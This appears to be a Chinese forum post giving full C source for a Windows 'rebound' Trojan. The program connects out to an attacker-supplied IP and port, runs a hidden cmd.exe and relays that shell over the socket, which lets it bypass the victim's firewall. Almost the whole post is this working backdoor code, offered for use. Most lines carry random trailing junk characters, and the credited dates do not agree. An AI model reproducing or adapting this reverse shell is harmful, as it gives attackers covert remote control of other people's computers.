这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \J?5Kl[*c
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/* ============================== *) ?Fo
Rebound port in Windows NT ~\D
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By wind,2006/7 M/^kita
===============================*/ =D6H?K-k!
#include jt8%
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#include 1F_ 1bAh$
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#pragma comment(lib,"wsock32.lib") {|Pz9a-:
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void OutputShell(); J((.zLvz
SOCKET sClient; niIjatT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9p5{,9 .3*
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void main(int argc,char **argv) wc5OK0|
{ RU^lR8;
WSADATA stWsaData; 4? a!6
int nRet; 1@Zjv>jy[
SOCKADDR_IN stSaiClient,stSaiServer; )!``P?3?
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if(argc != 3) (~>L \]!
{ Rtl;*ZAS
printf("Useage:\n\rRebound DestIP DestPort\n"); ceu}Lp^%/
return; uoe5@j2
} p8q9:Tz
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WSAStartup(MAKEWORD(2,2),&stWsaData); vZns,K#4H\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3e g<)
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stSaiClient.sin_family = AF_INET; 6_wf $(im
stSaiClient.sin_port = htons(0); 2\z"6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Pb|'f(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) '`Smg3T!~S
{ 1;l&ck-Gg/
printf("Bind Socket Failed!\n"); .wD>0Ig
return; ,Jf)A/_
} {q1&4U~'>O
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stSaiServer.sin_family = AF_INET; 4><b3r;T'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WRJ+l_81
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .d5|Fs~B
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j:0VtJo~
{ ZpHT2-baVe
printf("Connect Error!"); S#X$QD
return; z+1#p.F$@
} ZbYwuyHk(3
OutputShell(); #(jozl_8
} *_$%Tv.]
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void OutputShell() <GShm~XD2
{ DFs
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char szBuff[1024]; qeCx.Z
SECURITY_ATTRIBUTES stSecurityAttributes; n]x4twZ
OSVERSIONINFO stOsversionInfo; jz|zq\Eek
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RC8{QgaI
STARTUPINFO stStartupInfo; 4T6dju
char *szShell; `-4c}T
PROCESS_INFORMATION stProcessInformation; T IPb ]
unsigned long lBytesRead; nD.4c-hd$q
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v|jBRKU99
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _{,e-_hYM
stSecurityAttributes.lpSecurityDescriptor = 0; K2L+tw
stSecurityAttributes.bInheritHandle = TRUE; -)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $dci?7q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K|Std)6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Qm,|'y:Tg
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v%V$@MF
stStartupInfo.wShowWindow = SW_HIDE; ?YX2CJ6N
stStartupInfo.hStdInput = hReadPipe; B4GgR,P@S
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @y9_\mX!s
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GetVersionEx(&stOsversionInfo); 'HkV_d[li
" 9 h]P^
switch(stOsversionInfo.dwPlatformId) ]gkI:scPA
{ _i:yI-jA
case 1: z)q9O_g9
szShell = "command.com"; 2@1A,
break; -GCGxC2u
default: +D`IcR-x
szShell = "cmd.exe"; .!,T>:R
break; pb}QP
} qWtvo';3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~DhYiOSo
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send(sClient,szMsg,77,0); yFshV\
while(1) \NS\>Q+d
{ A/W0O;*q
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;->(hFJt
if(lBytesRead) 3uz@JY"mK
{ %[-D&flKC
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $dgY#ST%
send(sClient,szBuff,lBytesRead,0); vEvVT]g[V
}
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else 7z)Hq./3@
{ 41^+T<+
lBytesRead=recv(sClient,szBuff,1024,0); GG5wiN*2S
if(lBytesRead<=0) break; 60*2k
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); g03I<<|@
} - ~T LI&[
} tVvRT*>Wb
w{UVo1r:
return; ~M3`mO+^U
}